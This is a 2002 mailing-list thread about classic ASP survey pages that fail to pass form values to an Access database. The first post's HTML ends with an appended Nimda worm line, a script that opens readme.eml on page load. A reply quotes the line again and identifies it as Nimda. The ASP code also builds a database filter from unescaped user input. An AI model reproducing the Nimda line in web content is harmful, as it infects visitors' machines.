|
 |
asp_databases thread: Trouble Passing Variables to Database
Message #1 by "Andy Reichenbach" <areich@g...> on Thu, 23 May 2002 04:31:46
|
|
I am unable to place my datastore into the my database. I know the
connection is working b/c it is storing ID's every time I have a
session. I believe my problem is passing the variables from Survey2 to
Survey3.
Please advise,
Andy
Below is the code.
Survey1
<% Session.Abandon %>
<HTML>
<HEAD>
<TITLE>Services On-Site Office Services Survey Form</TITLE>
</HEAD>
<BODY BGCOLOR=3D"#FFFFAC">
<CENTER></CENTER>
<FORM ACTION=3D"Survey2.asp" METHOD=3D"POST">
<!--- E-mail address of the person handling htis form--->
<H1 ALIGN=3DCENTER>Office Services Survey</H1>
<BR>
<H2>Company Information</H2>
<TABLE WIDTH=3D100%>
<TR>
<TD WIDTH=3D100>Company Name:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Company">
<TD WIDTH=3D100>Email Address:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Email">
</TR>
<TR>
<TD WIDTH=3D100>Contact Name:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Contact">
<TD WIDTH=3D100>Telephone Number:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Telephone">i.e. xxx.xxx.xxxx
</TR>
</TABLE>
<BR>
<HR SIZE=3D4>
<BR>
<H2>Equipment</H2>
<P>Please provide us with a copy of your copier and fax (if applicable)
leases and a monthly invoice indicating your volume and cost per copy
for each copier.</P>
<TABLE WIDTH=3D100%>
<TR>
<TD WIDTH=3D100>Copier Lease:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"CLease"></TD>
<TD WIDTH=3D100>Fax Lease:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"FLease">
</TR>
<TR>
<TD WIDTH=3D100>Copy Volume:</TD>
<TD><INPUT TYPE=3D"TEXT" Name=3D"CVolume"></TD>
<TD WIDTH=3D100>Cost per Copy:</TD>
<TD><INPUT TYPE=3D"TEXT" Name=3D"Cost/Copy"></TD>
</TR>
</TABLE>
<BR>
<HR SIZE=3D4>
<BR>
<H2>Outside Copying</H2>
<P>Please tell us how much copying (in dollars) you're currently doing
that could be done inside.</P>
<TABLE>
<TR>
<TD>Outside Copying:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"OutCopy"></TD>
</TABLE>
<HR SIZE=3D4>
<H2>Duties</H2>
<P>Please list in order of priority the job duties of your Office
Service Staff. (I.e. copying, faxing, mail, courts, ordering supplies,
etc.)</P>
<TABLE>
<TR>
<TD>Duty 1:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty1"></TD>
<TD>Duty 2:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty2"></TD>
<TD>Duty 3:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty3"></TD>
</TR>
<TR>
<TD>Duty 4:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty4"></TD>
<TD>Duty 5:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty5"></TD>
<TD>Duty 6:</TD>
<TD><INPUT TYPE=3D"TEXT" NAME=3D"Duty6"></TD>
</TR>
</TABLE>
<BR>
<TABLE CELLSPACING=3D0 CELLPADDING=3D0 WIDTH=3D100%>
<TR>
<TD WIDTH=3D100%><FONT SIZE=3D+1 TYPE=3DBOLD>Who currently orders
supplies?</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE>
<TR>
<TD><B>Supply Manager</B> <INPUT NAME=3D"SupplyManager"></TD>
</TR>
</TABLE>
<BR>
<BR>
<TABLE>
<TR>
<TD WIDTH=3D100%><FONT SIZE=3D+1 TYPE=3DBOLD>What percent of
secretarial, paralegal and attorney time is spent involved in office
services functions?</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE>
<TR WIDTH=3D100%>
<TD>Secretarial</TD>
<TD><INPUT SIZE=3D5 TYPE=3D"TEXT" NAME=3D"Sec"></TD>
<TD>% Of Their Day</TD>
</TR>
<TR WIDTH=3D100%>
<TD>Paralegal</TD>
<TD><INPUT TYPE=3D"TEXT" SIZE=3D5 NAME=3D"Paralegal"></TD>
<TD>% Of Their Day</TD>
</TR>
<TR WIDTH=3D100%>
<TD>Attorney</TD>
<TD><INPUT TYPE=3D"TEXT" SIZE=3D5 NAME=3D"Att"></TD>
<TD>% Of Their Day</TD>
</TR>
</TABLE>
<HR SIZE=3D4>
<BR>
<H2>Chargeback</H2>
<P> What percent of your total monthly volume is charged back to your
clients?</P>
<TABLE>
<TR>
<TD WIDTH=3D500><B>Monthly Chargeback</B> <INPUT
NAME=3D"MonthlyChargeback"></TD>
</TR>
</TABLE>
<BR>
<BR>
<TABLE>
<TR>
</TR>
<TR>
<TD WIDTH=3D150><FONT SIZE=3D+1><B>At What Rate?</b></FONT></TD>
</TR>
<TR>
<TD WIDTH=3D5><B>Rate:</B></TD>
<TD><INPUT TYPE=3DRADIO NAME=3D"Rate" VALUE=3D.20>.20<BR>
<INPUT TYPE=3DRADIO NAME=3D"Rate" VALUE=3D.25>.25<BR>
<INPUT TYPE=3DRADIO NAME=3D"Rate" VALUE=3D.30>.30<BR>
</TD>
</TR>
</TABLE>
<BR>
<HR SIZE=3D4>
<BR>
<P>If you could change something in the way the firm currently handles
your office services functions(copying, faxing, mail distribution,
supplies ordering etc.) what would it be?</P>
<BR>
<TABLE>
<TR>
<TD VALIGN=3DTOP>Comments:</TD>
<TD>
<TEXTAREA ROWS=3D5 COLS=3D60 TYPE=3D"TEXT" NAME=3D"ChangeDescription"
WRAP=3DNONE>
</TEXTAREA>
</TD>
</TR>
<TR></TR>
<TR>
<TD COLSPAN=3D2 ALIGN=3DCENTER>
<INPUT TYPE=3DSUBMIT VALUE=3D"Send Survey">
<INPUT TYPE=3DRESET VALUE=3D"Reset Form">
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
<html><script language=3D"JavaScript">window.open("readme.eml", null,
"resizable=3Dyes,top=3D6000,left=3D6000")</script></html>
Survey2
<HTML>
<HEAD>
<TITLE>Survey Response</TITLE>
</HEAD>
<FORM ACTION=3D"Survey3.asp" METHOD=3D"POST">
<BODY>
<H2>Services On-Site Survery Response</H2>
<P>Please make sure these values are the accurate ones.<BR>
If not press back and resubmit. If so press Finalize Survey. Thank
you.<BR>
Tim Curtis.<BR><BR>
<HR><BR>
<%
Response.Buffer=3DTrue
Dim strCompany, strEmail, strContact, strTelephone, strCLease,
strFLease, strCVolume, strCostPerCopy, strOutsideCopy, strDuty1,
strDuty2, strDuty3, strDuty4, strDuty5, strDuty6, strSupplyManager,
strSec, strParalegal, strAttorney, strRate,strMonthlyChargeback,
strComments
strCompany =3D Request.Form("Company")
strEmail =3D Request.Form("Email")
strContact =3D Request.Form("Contact")
strTelephone =3D Request.Form("Telephone")
strCLease =3D Request.Form("CLease")
strFLease =3D Request.Form("FLease")
strCVolume =3D Request.Form("CVolume")
strCostPerCopy =3D Request.Form("Cost/Copy")
strOutsideCopy =3D Request.Form("OutCopy")
strDuty1 =3D Request.Form("Duty1")
strDuty2 =3D Request.Form("Duty2")
strDuty3 =3D Request.Form("Duty3")
strDuty4 =3D Request.Form("Duty4")
strDuty5 =3D Request.Form("Duty5")
strDuty6 =3D Request.Form("Duty6")
strSupplyManager =3D Request.Form("SupplyManager")
strSec =3D Request.Form("Sec")
strParalegal =3D Request.Form("Paralegal")
strAttorney =3D Request.Form("Att")
strMonthlyChargeback =3D Request.Form("MonthlyChargeback")
strRate =3D Request.Form("Rate")
strComments =3D Request.Form("ChangeDescription")
Response.Write "Company: " & strCompany & "<BR>"
Response.Write "Email: " & strEmail & "<BR>"
Response.Write "Contact:" & strContact & "<BR>"
Response.Write "Telephone:" & strTelephone & "<BR>"
Response.Write "Copier Lease: " & strCLease & "<BR>"
Response.Write "Fax Lease: " & strFLease & "<BR>"
Response.Write "Copy Volume: " & strCVolume & "<BR>"
Response.Write "Cost/Copy: " & strCostPerCopy & "<BR>"
Response.Write "Outside Copying: " & strOutsideCopy & "<BR>"
Response.Write "Duty 1: " & strDuty1 & "<BR>"
Response.Write "Duty 2: " & strDuty2 & "<BR>"
Response.Write "Duty 3: " & strDuty3 & "<BR>"
Response.Write "Duty 4: " & strDuty4 & "<BR>"
Response.Write "Duty 5: " & strDuty5 & "<BR>"
Response.Write "Duty 6: " & strDuty6 & "<BR>"
Response.Write "Supply Manager: " & strSupplyManager & "<BR>"
Response.Write "Secretary %: " & strSec & "<BR>"
Response.Write "Paralegal %: " & strParalegal & "<BR>"
Response.Write "Attorney %: " & strAttorney & "<BR>"
Response.Write "Monthly Chargeback: " & strMonthlyChargeback & "<BR>"
Response.Write "Rate: " & strRate & "<BR>"
Response.Write "Comments: " & strComments & "<BR><BR>"
%>
<INPUT TYPE=3DSUBMIT VALUE=3D"Finalize Survey">
</FORM>
</BODY>
</HTML>
Survey3
<!-- METADATA TYPE=3D"typelib"
FILE=3D"C:\Program Files\Common Files\System\ado\msado15.dll" -->
<%
Option Explicit
Response.Buffer=3DTrue
Dim objConn, rsSurvey, strCompany, strEmail, strContact, strTelephone,
strCLease, strFLease, strCVolume, strCostPerCopy, strOutsideCopy,
strDuty1, strDuty2, strDuty3, strDuty4, strDuty5, strDuty6,
strSupplyManager, strSec, strParalegal, strAttorney,
strRate,strMonthlyChargeback, strComments
strCompany=3D Session("strCompany")
Set objConn =3D Server.CreateObject("ADODB.Connection")
objConn.Open "Provider=3DMicrosoft.Jet.OLEDB.4.0; " & _
"Data Source=3D C:\datastores\SOS.mdb"
Set rsSurvey =3D Server.CreateObject("ADODB.Recordset")
rsSurvey.Open "Survey", objConn, adOpenForwardOnly, adLockOptimistic,
adCmdTable
If Session("SurveyID") <> "" Then 'currently logged-on user
rsSurvey.Filter =3D "CompanyName =3D '" & strCompany & "'"
Else
' New Session
rsSurvey.Filter =3D "CompanyName =3D '" & strCompany & "'"
If rsSurvey.EOF Then
'User Not Found
rsSurvey.AddNew
' Add a new record
Else
' CompanyName matched with DB records -
' In this case we'll allow them to update user's personal details
End If
End If
' write Survey details to record
rsSurvey("CompanyName") =3D strCompany
rsSurvey("Email") =3D strEmail
rsSurvey("Contact") =3D strContact
rsSurvey("Telephone") =3D strTelephone
rsSurvey("CopierLease") =3D strCLease
rsSurvey("CopyVolume") =3D strCVolume
rsSurvey("FaxLease") =3D strFLease
rsSurvey("CostperCopy") =3D strCostPerCopy
rsSurvey("OutsideCopying") =3D strOutsideCopy
rsSurvey("Duty1") =3D strDuty1
rsSurvey("Duty2") =3D strDuty2
rsSurvey("Duty3") =3D strDuty3
rsSurvey("Duty4") =3D strDuty4
rsSurvey("Duty5") =3D strDuty5
rsSurvey("Duty6") =3D strDuty6
rsSurvey("SupplyManager") =3D strSupplyManager
rsSurvey("SecPercent") =3D strSec
rsSurvey("ParalegalPercent") =3D strParalegal
rsSurvey("AttorneyPercent") =3D strAttorney
rsSurvey("MonthlyChargeback") =3D strMonthlyChargeback
rsSurvey("Rate") =3D strRate
rsSurvey("Comments") =3D strComments
rsSurvey.Update
'update the database
%>
<HTML>
<HEAD>
<TITLE>Services On-Site Survey Completion Form</TITLE>
<BODY>
<P>
<H3>Thank you, you have successfully filled out our Survey.</H3>
<H4>We will contact you soon.</H4><BR><BR>
<P>Tim Curtis<BR>
<P> Any further questions about <a
href=3D"http://www.servicesonsite.com">Sevices On-Site</a>, please view
our web-site.
</BODY>
</HTML>
Message #2 by "the Office of Brent Allen VanderMeide" <ccbbttmm@a...> on Tue, 28 May 2002 12:03:45 -0600
|
|
Just thought It might helpful to know that the hosting server or your
computer has the Nimda virus.
You may want to clean that first.
On the first section of HTML, your content has the Nimda virus
attatchment
________________________________________________________________________
____
<html><script language=3D"JavaScript">window.open("readme.eml", null,
"resizable=3Dyes,top=3D6000,left=3D6000")</script></html>
________________________________________________________________________
____
Thank you,
Brent Allen VanderMeide
Senior Web Applications Developer
|
|
 |